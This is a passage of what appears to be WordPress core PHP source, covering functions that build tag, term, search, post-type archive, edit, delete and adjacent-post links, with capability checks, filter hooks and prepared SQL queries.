	} elseif ( 'post_tag' === $taxonomy ) {
		/**
		 * Filters the post tag feed link.
		 *
		 * @since 2.3.0
		 *
		 * @param string $link The tag feed link.
		 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
		 */
		$link = apply_filters( 'tag_feed_link', $link, $feed );
	} else {
		/**
		 * Filters the feed link for a taxonomy other than 'category' or 'post_tag'.
		 *
		 * @since 3.0.0
		 *
		 * @param string $link     The taxonomy feed link.
		 * @param string $feed     Feed type. Possible values include 'rss2', 'atom'.
		 * @param string $taxonomy The taxonomy name.
		 */
		$link = apply_filters( 'taxonomy_feed_link', $link, $feed, $taxonomy );
	}

	return $link;
}

/**
 * Retrieves the permalink for a tag feed.
 *
 * @since 2.3.0
 *
 * @param int|WP_Term|object $tag  The ID or term object whose feed link will be retrieved.
 * @param string             $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                                 Default is the value of get_default_feed().
 * @return string                  The feed permalink for the given tag.
 */
function get_tag_feed_link( $tag, $feed = '' ) {
	return get_term_feed_link( $tag, 'post_tag', $feed );
}

/**
 * Retrieves the edit link for a tag.
 *
 * @since 2.7.0
 *
 * @param int|WP_Term|object $tag      The ID or term object whose edit link will be retrieved.
 * @param string             $taxonomy Optional. Taxonomy slug. Default 'post_tag'.
 * @return string The edit tag link URL for the given tag.
 */
function get_edit_tag_link( $tag, $taxonomy = 'post_tag' ) {
	/**
	 * Filters the edit link for a tag (or term in another taxonomy).
	 *
	 * @since 2.7.0
	 *
	 * @param string $link The term edit link.
	 */
	return apply_filters( 'get_edit_tag_link', get_edit_term_link( $tag, $taxonomy ) );
}

/**
 * Displays or retrieves the edit link for a tag with formatting.
 *
 * @since 2.7.0
 *
 * @param string  $link   Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
 * @param string  $before Optional. Display before edit link. Default empty.
 * @param string  $after  Optional. Display after edit link. Default empty.
 * @param WP_Term $tag    Optional. Term object. If null, the queried object will be inspected.
 *                        Default null.
 */
function edit_tag_link( $link = '', $before = '', $after = '', $tag = null ) {
	$link = edit_term_link( $link, '', '', $tag, false );

	/**
	 * Filters the anchor tag for the edit link for a tag (or term in another taxonomy).
	 *
	 * @since 2.7.0
	 *
	 * @param string $link The anchor tag for the edit link.
	 */
	echo $before . apply_filters( 'edit_tag_link', $link ) . $after;
}

/**
 * Retrieves the URL for editing a given term.
 *
 * @since 3.1.0
 * @since 4.5.0 The `$taxonomy` parameter was made optional.
 *
 * @param int|WP_Term|object $term        The ID or term object whose edit link will be retrieved.
 * @param string             $taxonomy    Optional. Taxonomy. Defaults to the taxonomy of the term identified
 *                                        by `$term`.
 * @param string             $object_type Optional. The object type. Used to highlight the proper post type
 *                                        menu on the linked page. Defaults to the first object_type associated
 *                                        with the taxonomy.
 * @return string|null The edit term link URL for the given term, or null on failure.
 */
function get_edit_term_link( $term, $taxonomy = '', $object_type = '' ) {
	$term = get_term( $term, $taxonomy );
	if ( ! $term || is_wp_error( $term ) ) {
		return;
	}

	$tax     = get_taxonomy( $term->taxonomy );
	$term_id = $term->term_id;
	if ( ! $tax || ! current_user_can( 'edit_term', $term_id ) ) {
		return;
	}

	$args = array(
		'taxonomy' => $taxonomy,
		'tag_ID'   => $term_id,
	);

	if ( $object_type ) {
		$args['post_type'] = $object_type;
	} elseif ( ! empty( $tax->object_type ) ) {
		$args['post_type'] = reset( $tax->object_type );
	}

	if ( $tax->show_ui ) {
		$location = add_query_arg( $args, admin_url( 'term.php' ) );
	} else {
		$location = '';
	}

	/**
	 * Filters the edit link for a term.
	 *
	 * @since 3.1.0
	 *
	 * @param string $location    The edit link.
	 * @param int    $term_id     Term ID.
	 * @param string $taxonomy    Taxonomy name.
	 * @param string $object_type The object type.
	 */
	return apply_filters( 'get_edit_term_link', $location, $term_id, $taxonomy, $object_type );
}

/**
 * Displays or retrieves the edit term link with formatting.
 *
 * @since 3.1.0
 *
 * @param string           $link    Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
 * @param string           $before  Optional. Display before edit link. Default empty.
 * @param string           $after   Optional. Display after edit link. Default empty.
 * @param int|WP_Term|null $term    Optional. Term ID or object. If null, the queried object will be inspected. Default null.
 * @param bool             $display Optional. Whether or not to echo the return. Default true.
 * @return string|void HTML content.
 */
function edit_term_link( $link = '', $before = '', $after = '', $term = null, $display = true ) {
	if ( is_null( $term ) ) {
		$term = get_queried_object();
	} else {
		$term = get_term( $term );
	}

	if ( ! $term ) {
		return;
	}

	$tax = get_taxonomy( $term->taxonomy );
	if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
		return;
	}

	if ( empty( $link ) ) {
		$link = __( 'Edit This' );
	}

	$link = '<a href="' . get_edit_term_link( $term->term_id, $term->taxonomy ) . '">' . $link . '</a>';

	/**
	 * Filters the anchor tag for the edit link of a term.
	 *
	 * @since 3.1.0
	 *
	 * @param string $link    The anchor tag for the edit link.
	 * @param int    $term_id Term ID.
	 */
	$link = $before . apply_filters( 'edit_term_link', $link, $term->term_id ) . $after;

	if ( $display ) {
		echo $link;
	} else {
		return $link;
	}
}

/**
 * Retrieves the permalink for a search.
 *
 * @since 3.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $query Optional. The query string to use. If empty the current query is used. Default empty.
 * @return string The search permalink.
 */
function get_search_link( $query = '' ) {
	global $wp_rewrite;

	if ( empty( $query ) ) {
		$search = get_search_query( false );
	} else {
		$search = stripslashes( $query );
	}

	$permastruct = $wp_rewrite->get_search_permastruct();

	if ( empty( $permastruct ) ) {
		$link = home_url( '?s=' . urlencode( $search ) );
	} else {
		$search = urlencode( $search );
		$search = str_replace( '%2F', '/', $search ); // %2F(/) is not valid within a URL, send it un-encoded.
		$link   = str_replace( '%search%', $search, $permastruct );
		$link   = home_url( user_trailingslashit( $link, 'search' ) );
	}

	/**
	 * Filters the search permalink.
	 *
	 * @since 3.0.0
	 *
	 * @param string $link   Search permalink.
	 * @param string $search The URL-encoded search term.
	 */
	return apply_filters( 'search_link', $link, $search );
}

/**
 * Retrieves the permalink for the search results feed.
 *
 * @since 2.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $search_query Optional. Search query. Default empty.
 * @param string $feed         Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                             Default is the value of get_default_feed().
 * @return string The search results feed permalink.
 */
function get_search_feed_link( $search_query = '', $feed = '' ) {
	global $wp_rewrite;
	$link = get_search_link( $search_query );

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	$permastruct = $wp_rewrite->get_search_permastruct();

	if ( empty( $permastruct ) ) {
		$link = add_query_arg( 'feed', $feed, $link );
	} else {
		$link  = trailingslashit( $link );
		$link .= "feed/$feed/";
	}

	/**
	 * Filters the search feed link.
	 *
	 * @since 2.5.0
	 *
	 * @param string $link Search feed link.
	 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
	 * @param string $type The search type. One of 'posts' or 'comments'.
	 */
	return apply_filters( 'search_feed_link', $link, $feed, 'posts' );
}

/**
 * Retrieves the permalink for the search results comments feed.
 *
 * @since 2.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $search_query Optional. Search query. Default empty.
 * @param string $feed         Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                             Default is the value of get_default_feed().
 * @return string The comments feed search results permalink.
 */
function get_search_comments_feed_link( $search_query = '', $feed = '' ) {
	global $wp_rewrite;

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	$link = get_search_feed_link( $search_query, $feed );

	$permastruct = $wp_rewrite->get_search_permastruct();

	if ( empty( $permastruct ) ) {
		$link = add_query_arg( 'feed', 'comments-' . $feed, $link );
	} else {
		$link = add_query_arg( 'withcomments', 1, $link );
	}

	/** This filter is documented in wp-includes/link-template.php */
	return apply_filters( 'search_feed_link', $link, $feed, 'comments' );
}

/**
 * Retrieves the permalink for a post type archive.
 *
 * @since 3.1.0
 * @since 4.5.0 Support for posts was added.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $post_type Post type.
 * @return string|false The post type archive permalink. False if the post type
 *                      does not exist or does not have an archive.
 */
function get_post_type_archive_link( $post_type ) {
	global $wp_rewrite;

	$post_type_obj = get_post_type_object( $post_type );

	if ( ! $post_type_obj ) {
		return false;
	}

	if ( 'post' === $post_type ) {
		$show_on_front  = get_option( 'show_on_front' );
		$page_for_posts = get_option( 'page_for_posts' );

		if ( 'page' === $show_on_front && $page_for_posts ) {
			$link = get_permalink( $page_for_posts );
		} else {
			$link = get_home_url();
		}
		/** This filter is documented in wp-includes/link-template.php */
		return apply_filters( 'post_type_archive_link', $link, $post_type );
	}

	if ( ! $post_type_obj->has_archive ) {
		return false;
	}

	if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) ) {
		$struct = ( true === $post_type_obj->has_archive ) ? $post_type_obj->rewrite['slug'] : $post_type_obj->has_archive;
		if ( $post_type_obj->rewrite['with_front'] ) {
			$struct = $wp_rewrite->front . $struct;
		} else {
			$struct = $wp_rewrite->root . $struct;
		}
		$link = home_url( user_trailingslashit( $struct, 'post_type_archive' ) );
	} else {
		$link = home_url( '?post_type=' . $post_type );
	}

	/**
	 * Filters the post type archive permalink.
	 *
	 * @since 3.1.0
	 *
	 * @param string $link      The post type archive permalink.
	 * @param string $post_type Post type name.
	 */
	return apply_filters( 'post_type_archive_link', $link, $post_type );
}

/**
 * Retrieves the permalink for a post type archive feed.
 *
 * @since 3.1.0
 *
 * @param string $post_type Post type.
 * @param string $feed      Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                          Default is the value of get_default_feed().
 * @return string|false The post type feed permalink. False if the post type
 *                      does not exist or does not have an archive.
 */
function get_post_type_archive_feed_link( $post_type, $feed = '' ) {
	$default_feed = get_default_feed();
	if ( empty( $feed ) ) {
		$feed = $default_feed;
	}

	$link = get_post_type_archive_link( $post_type );
	if ( ! $link ) {
		return false;
	}

	$post_type_obj = get_post_type_object( $post_type );
	if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) && $post_type_obj->rewrite['feeds'] ) {
		$link  = trailingslashit( $link );
		$link .= 'feed/';
		if ( $feed != $default_feed ) {
			$link .= "$feed/";
		}
	} else {
		$link = add_query_arg( 'feed', $feed, $link );
	}

	/**
	 * Filters the post type archive feed link.
	 *
	 * @since 3.1.0
	 *
	 * @param string $link The post type archive feed link.
	 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
	 */
	return apply_filters( 'post_type_archive_feed_link', $link, $feed );
}

/**
 * Retrieves the URL used for the post preview.
 *
 * Allows additional query args to be appended.
 *
 * @since 4.4.0
 *
 * @param int|WP_Post $post         Optional. Post ID or `WP_Post` object. Defaults to global `$post`.
 * @param array       $query_args   Optional. Array of additional query args to be appended to the link.
 *                                  Default empty array.
 * @param string      $preview_link Optional. Base preview link to be used if it should differ from the
 *                                  post permalink. Default empty.
 * @return string|null URL used for the post preview, or null if the post does not exist.
 */
function get_preview_post_link( $post = null, $query_args = array(), $preview_link = '' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	$post_type_object = get_post_type_object( $post->post_type );
	if ( is_post_type_viewable( $post_type_object ) ) {
		if ( ! $preview_link ) {
			$preview_link = set_url_scheme( get_permalink( $post ) );
		}

		$query_args['preview'] = 'true';
		$preview_link          = add_query_arg( $query_args, $preview_link );
	}

	/**
	 * Filters the URL used for a post preview.
	 *
	 * @since 2.0.5
	 * @since 4.0.0 Added the `$post` parameter.
	 *
	 * @param string  $preview_link URL used for the post preview.
	 * @param WP_Post $post         Post object.
	 */
	return apply_filters( 'preview_post_link', $preview_link, $post );
}

/**
 * Retrieves the edit post link for post.
 *
 * Can be used within the WordPress loop or outside of it. Can be used with
 * pages, posts, attachments, revisions, global styles, templates, and template parts.
 *
 * @since 2.3.0
 * @since 6.3.0 Adds custom link for wp_navigation post types.
 *              Adds custom links for wp_template_part and wp_template post types.
 *
 * @param int|WP_Post $post    Optional. Post ID or post object. Default is the global `$post`.
 * @param string      $context Optional. How to output the '&' character. Default '&amp;'.
 * @return string|null The edit post link for the given post. Null if the post type does not exist
 *                     or does not allow an editing UI.
 */
function get_edit_post_link( $post = 0, $context = 'display' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	if ( 'revision' === $post->post_type ) {
		$action = '';
	} elseif ( 'display' === $context ) {
		$action = '&amp;action=edit';
	} else {
		$action = '&action=edit';
	}

	$post_type_object = get_post_type_object( $post->post_type );

	if ( ! $post_type_object ) {
		return;
	}

	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		return;
	}

	$link = '';

	if ( 'wp_template' === $post->post_type || 'wp_template_part' === $post->post_type ) {
		$slug = urlencode( get_stylesheet() . '//' . $post->post_name );
		$link = admin_url( sprintf( $post_type_object->_edit_link, $post->post_type, $slug ) );
	} elseif ( 'wp_navigation' === $post->post_type ) {
		$link = admin_url( sprintf( $post_type_object->_edit_link, (string) $post->ID ) );
	} elseif ( $post_type_object->_edit_link ) {
		$link = admin_url( sprintf( $post_type_object->_edit_link . $action, $post->ID ) );
	}

	/**
	 * Filters the post edit link.
	 *
	 * @since 2.3.0
	 *
	 * @param string $link    The edit link.
	 * @param int    $post_id Post ID.
	 * @param string $context The link context. If set to 'display' then ampersands
	 *                        are encoded.
	 */
	return apply_filters( 'get_edit_post_link', $link, $post->ID, $context );
}

/**
 * Displays the edit post link for post.
 *
 * @since 1.0.0
 * @since 4.4.0 The `$css_class` argument was added.
 *
 * @param string      $text      Optional. Anchor text. If null, default is 'Edit This'. Default null.
 * @param string      $before    Optional. Display before edit link. Default empty.
 * @param string      $after     Optional. Display after edit link. Default empty.
 * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
 * @param string      $css_class Optional. Add custom class to link. Default 'post-edit-link'.
 */
function edit_post_link( $text = null, $before = '', $after = '', $post = 0, $css_class = 'post-edit-link' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	$url = get_edit_post_link( $post->ID );

	if ( ! $url ) {
		return;
	}

	if ( null === $text ) {
		$text = __( 'Edit This' );
	}

	$link = '<a class="' . esc_attr( $css_class ) . '" href="' . esc_url( $url ) . '">' . $text . '</a>';

	/**
	 * Filters the post edit link anchor tag.
	 *
	 * @since 2.3.0
	 *
	 * @param string $link    Anchor tag for the edit link.
	 * @param int    $post_id Post ID.
	 * @param string $text    Anchor text.
	 */
	echo $before . apply_filters( 'edit_post_link', $link, $post->ID, $text ) . $after;
}

/**
 * Retrieves the delete posts link for post.
 *
 * Can be used within the WordPress loop or outside of it, with any post type.
 *
 * @since 2.9.0
 *
 * @param int|WP_Post $post         Optional. Post ID or post object. Default is the global `$post`.
 * @param string      $deprecated   Not used.
 * @param bool        $force_delete Optional. Whether to bypass Trash and force deletion. Default false.
 * @return string|void The delete post link URL for the given post.
 */
function get_delete_post_link( $post = 0, $deprecated = '', $force_delete = false ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '3.0.0' );
	}

	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	$post_type_object = get_post_type_object( $post->post_type );

	if ( ! $post_type_object ) {
		return;
	}

	if ( ! current_user_can( 'delete_post', $post->ID ) ) {
		return;
	}

	$action = ( $force_delete || ! EMPTY_TRASH_DAYS ) ? 'delete' : 'trash';

	$delete_link = add_query_arg( 'action', $action, admin_url( sprintf( $post_type_object->_edit_link, $post->ID ) ) );

	/**
	 * Filters the post delete link.
	 *
	 * @since 2.9.0
	 *
	 * @param string $link         The delete link.
	 * @param int    $post_id      Post ID.
	 * @param bool   $force_delete Whether to bypass the Trash and force deletion. Default false.
	 */
	return apply_filters( 'get_delete_post_link', wp_nonce_url( $delete_link, "$action-post_{$post->ID}" ), $post->ID, $force_delete );
}

/**
 * Retrieves the edit comment link.
 *
 * @since 2.3.0
 *
 * @param int|WP_Comment $comment_id Optional. Comment ID or WP_Comment object.
 * @return string|void The edit comment link URL for the given comment.
 */
function get_edit_comment_link( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		return;
	}

	$location = admin_url( 'comment.php?action=editcomment&amp;c=' ) . $comment->comment_ID;

	/**
	 * Filters the comment edit link.
	 *
	 * @since 2.3.0
	 *
	 * @param string $location The edit link.
	 */
	return apply_filters( 'get_edit_comment_link', $location );
}

/**
 * Displays the edit comment link with formatting.
 *
 * @since 1.0.0
 *
 * @param string $text   Optional. Anchor text. If null, default is 'Edit This'. Default null.
 * @param string $before Optional. Display before edit link. Default empty.
 * @param string $after  Optional. Display after edit link. Default empty.
 */
function edit_comment_link( $text = null, $before = '', $after = '' ) {
	$comment = get_comment();

	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		return;
	}

	if ( null === $text ) {
		$text = __( 'Edit This' );
	}

	$link = '<a class="comment-edit-link" href="' . esc_url( get_edit_comment_link( $comment ) ) . '">' . $text . '</a>';

	/**
	 * Filters the comment edit link anchor tag.
	 *
	 * @since 2.3.0
	 *
	 * @param string $link       Anchor tag for the edit link.
	 * @param string $comment_id Comment ID as a numeric string.
	 * @param string $text       Anchor text.
	 */
	echo $before . apply_filters( 'edit_comment_link', $link, $comment->comment_ID, $text ) . $after;
}

/**
 * Displays the edit bookmark link.
 *
 * @since 2.7.0
 *
 * @param int|stdClass $link Optional. Bookmark ID. Default is the ID of the current bookmark.
 * @return string|void The edit bookmark link URL.
 */
function get_edit_bookmark_link( $link = 0 ) {
	$link = get_bookmark( $link );

	if ( ! current_user_can( 'manage_links' ) ) {
		return;
	}

	$location = admin_url( 'link.php?action=edit&amp;link_id=' ) . $link->link_id;

	/**
	 * Filters the bookmark edit link.
	 *
	 * @since 2.7.0
	 *
	 * @param string $location The edit link.
	 * @param int    $link_id  Bookmark ID.
	 */
	return apply_filters( 'get_edit_bookmark_link', $location, $link->link_id );
}

/**
 * Displays the edit bookmark link anchor content.
 *
 * @since 2.7.0
 *
 * @param string $link     Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
 * @param string $before   Optional. Display before edit link. Default empty.
 * @param string $after    Optional. Display after edit link. Default empty.
 * @param int    $bookmark Optional. Bookmark ID. Default is the current bookmark.
 */
function edit_bookmark_link( $link = '', $before = '', $after = '', $bookmark = null ) {
	$bookmark = get_bookmark( $bookmark );

	if ( ! current_user_can( 'manage_links' ) ) {
		return;
	}

	if ( empty( $link ) ) {
		$link = __( 'Edit This' );
	}

	$link = '<a href="' . esc_url( get_edit_bookmark_link( $bookmark ) ) . '">' . $link . '</a>';

	/**
	 * Filters the bookmark edit link anchor tag.
	 *
	 * @since 2.7.0
	 *
	 * @param string $link    Anchor tag for the edit link.
	 * @param int    $link_id Bookmark ID.
	 */
	echo $before . apply_filters( 'edit_bookmark_link', $link, $bookmark->link_id ) . $after;
}

/**
 * Retrieves the edit user link.
 *
 * @since 3.5.0
 *
 * @param int $user_id Optional. User ID. Defaults to the current user.
 * @return string URL to edit user page or empty string.
 */
function get_edit_user_link( $user_id = null ) {
	if ( ! $user_id ) {
		$user_id = get_current_user_id();
	}

	if ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) ) {
		return '';
	}

	$user = get_userdata( $user_id );

	if ( ! $user ) {
		return '';
	}

	if ( get_current_user_id() == $user->ID ) {
		$link = get_edit_profile_url( $user->ID );
	} else {
		$link = add_query_arg( 'user_id', $user->ID, self_admin_url( 'user-edit.php' ) );
	}

	/**
	 * Filters the user edit link.
	 *
	 * @since 3.5.0
	 *
	 * @param string $link    The edit link.
	 * @param int    $user_id User ID.
	 */
	return apply_filters( 'get_edit_user_link', $link, $user->ID );
}

//
// Navigation links.
//

/**
 * Retrieves the previous post that is adjacent to the current post.
 *
 * @since 1.5.0
 *
 * @param bool         $in_same_term   Optional. Whether post should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
 *                             Empty string if no corresponding post exists.
 */
function get_previous_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	return get_adjacent_post( $in_same_term, $excluded_terms, true, $taxonomy );
}

/**
 * Retrieves the next post that is adjacent to the current post.
 *
 * @since 1.5.0
 *
 * @param bool         $in_same_term   Optional. Whether post should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
 *                             Empty string if no corresponding post exists.
 */
function get_next_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	return get_adjacent_post( $in_same_term, $excluded_terms, false, $taxonomy );
}

/**
 * Retrieves the adjacent post.
 *
 * Can either be next or previous post.
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool         $in_same_term   Optional. Whether post should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty string.
 * @param bool         $previous       Optional. Whether to retrieve previous post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return WP_Post|null|string Post object if successful. Null if global `$post` is not set.
 *                             Empty string if no corresponding post exists.
 */
function get_adjacent_post( $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
	global $wpdb;

	$post = get_post();

	if ( ! $post || ! taxonomy_exists( $taxonomy ) ) {
		return null;
	}

	$current_post_date = $post->post_date;

	$join     = '';
	$where    = '';
	$adjacent = $previous ? 'previous' : 'next';

	if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) {
		// Back-compat, $excluded_terms used to be $excluded_categories with IDs separated by " and ".
		if ( str_contains( $excluded_terms, ' and ' ) ) {
			_deprecated_argument(
				__FUNCTION__,
				'3.3.0',
				sprintf(
					/* translators: %s: The word 'and'. */
					__( 'Use commas instead of %s to separate excluded terms.' ),
					"'and'"
				)
			);
			$excluded_terms = explode( ' and ', $excluded_terms );
		} else {
			$excluded_terms = explode( ',', $excluded_terms );
		}

		$excluded_terms = array_map( 'intval', $excluded_terms );
	}

	/**
	 * Filters the IDs of terms excluded from adjacent post queries.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_next_post_excluded_terms`
	 *  - `get_previous_post_excluded_terms`
	 *
	 * @since 4.4.0
	 *
	 * @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
	 */
	$excluded_terms = apply_filters( "get_{$adjacent}_post_excluded_terms", $excluded_terms );

	if ( $in_same_term || ! empty( $excluded_terms ) ) {
		if ( $in_same_term ) {
			$join  .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";
			$where .= $wpdb->prepare( 'AND tt.taxonomy = %s', $taxonomy );

			if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) ) {
				return '';
			}
			$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );

			// Remove any exclusions from the term array to include.
			$term_array = array_diff( $term_array, (array) $excluded_terms );
			$term_array = array_map( 'intval', $term_array );

			if ( ! $term_array || is_wp_error( $term_array ) ) {
				return '';
			}

			$where .= ' AND tt.term_id IN (' . implode( ',', $term_array ) . ')';
		}

		if ( ! empty( $excluded_terms ) ) {
			$where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( ',', array_map( 'intval', $excluded_terms ) ) . ') )';
		}
	}

	// 'post_status' clause depends on the current user.
	if ( is_user_logged_in() ) {
		$user_id = get_current_user_id();

		$post_type_object = get_post_type_object( $post->post_type );
		if ( empty( $post_type_object ) ) {
			$post_type_cap    = $post->post_type;
			$read_private_cap = 'read_private_' . $post_type_cap . 's';
		} else {
			$read_private_cap = $post_type_object->cap->read_private_posts;
		}

		/*
		 * Results should include private posts belonging to the current user, or private posts where the
		 * current user has the 'read_private_posts' cap.
		 */
		$private_states = get_post_stati( array( 'private' => true ) );
		$where         .= " AND ( p.post_status = 'publish'";
		foreach ( $private_states as $state ) {
			if ( current_user_can( $read_private_cap ) ) {
				$where .= $wpdb->prepare( ' OR p.post_status = %s', $state );
			} else {
				$where .= $wpdb->prepare( ' OR (p.post_author = %d AND p.post_status = %s)', $user_id, $state );
			}
		}
		$where .= ' )';
	} else {
		$where .= " AND p.post_status = 'publish'";
	}

	$op    = $previous ? '<' : '>';
	$order = $previous ? 'DESC' : 'ASC';

	/**
	 * Filters the JOIN clause in the SQL for an adjacent post query.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_next_post_join`
	 *  - `get_previous_post_join`
	 *
	 * @since 2.5.0
	 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
	 *
	 * @param string       $join           The JOIN clause in the SQL.
	 * @param bool         $in_same_term   Whether post should be in the same taxonomy term.
	 * @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
	 * @param string       $taxonomy       Taxonomy. Used to identify the term used when `$in_same_term` is true.
	 * @param WP_Post      $post           WP_Post object.
	 */
	$join = apply_filters( "get_{$adjacent}_post_join", $join, $in_same_term, $excluded_terms, $taxonomy, $post );

	/**
	 * Filters the WHERE clause in the SQL for an adjacent post query.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_next_post_where`
	 *  - `get_previous_post_where`
	 *
	 * @since 2.5.0
	 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
	 *
	 * @param string       $where          The `WHERE` clause in the SQL.
	 * @param bool         $in_same_term   Whether post should be in the same taxonomy term.
	 * @param int[]|string $excluded_terms Array of excluded term IDs. Empty string if none were provided.
	 * @param string       $taxonomy       Taxonomy. Used to identify the term used when `$in_same_term` is true.
	 * @param WP_Post      $post           WP_Post object.
	 */
	$where = apply_filters( "get_{$adjacent}_post_where", $wpdb->prepare( "WHERE p.post_date $op %s AND p.post_type = %s $where", $current_post_date, $post->post_type ), $in_same_term, $excluded_terms, $taxonomy, $post );

	/**
	 * Filters the ORDER BY clause in the SQL for an adjacent post query.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_next_post_sort`
	 *  - `get_previous_post_sort`
	 *
	 * @since 2.5.0
	 * @since 4.4.0 Added the `$post` parameter.
	 * @since 4.9.0 Added the `$order` parameter.
	 *
	 * @param string $order_by The `ORDER BY` clause in the SQL.
	 * @param WP_Post $post    WP_Post object.
	 * @param string  $order   Sort order. 'DESC' for previous post, 'ASC' for next.
	 */
	$sort = apply_filters( "get_{$adjacent}_post_sort", "ORDER BY p.post_date $order LIMIT 1", $post, $order );

	$query        = "SELECT p.ID FROM $wpdb->posts AS p $join $where $sort";
	$key          = md5( $query );
	$last_changed = wp_cache_get_last_changed( 'posts' );
	if ( $in_same_term || ! empty( $excluded_terms ) ) {
		$last_changed .= wp_cache_get_last_changed( 'terms' );
	}
	$cache_key = "adjacent_post:$key:$last_changed";

	$result = wp_cache_get( $cache_key, 'post-queries' );
	if ( false !== $result ) {
		if ( $result ) {
			$result = get_post( $result );
		}
		return $result;
	}

	$result = $wpdb->get_var( $query );
	if ( null === $result ) {
		$result = '';
	}

	wp_cache_set( $cache_key, $result, 'post-queries' );

	if ( $result ) {
		$result = get_post( $result );
	}

	return $result;
}

/**
 * Retrieves the adjacent post relational link.
 *
 * Can either be next or previous post relational link.
 *
 * @since 2.8.0
 *
 * @param string       $title          Optional. Link title format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param bool         $previous       Optional. Whether to display link to previous or next post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return string|void The adjacent post relational link URL.
 */
function get_adjacent_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
	$post = get_post();
	if ( $previous && is_attachment() && $post ) {
		$post = get_post( $post->post_parent );
	} else {
		$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
	}

	if ( empty( $post ) ) {
		return;
	}

	$post_title = the_title_attribute(
		array(
			'echo' => false,
			'post' => $post,
		)
	);

	if ( empty( $post_title ) ) {
		$post_title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
	}

	$date = mysql2date( get_option( 'date_format' ), $post->post_date );

	$title = str_replace( '%title', $post_title, $title );
	$title = str_replace( '%date', $date, $title );

	$link  = $previous ? "<link rel='prev' title='" : "<link rel='next' title='";
	$link .= esc_attr( $title );
	$link .= "' href='" . get_permalink( $post ) . "' />\n";

	$adjacent = $previous ? 'previous' : 'next';

	/**
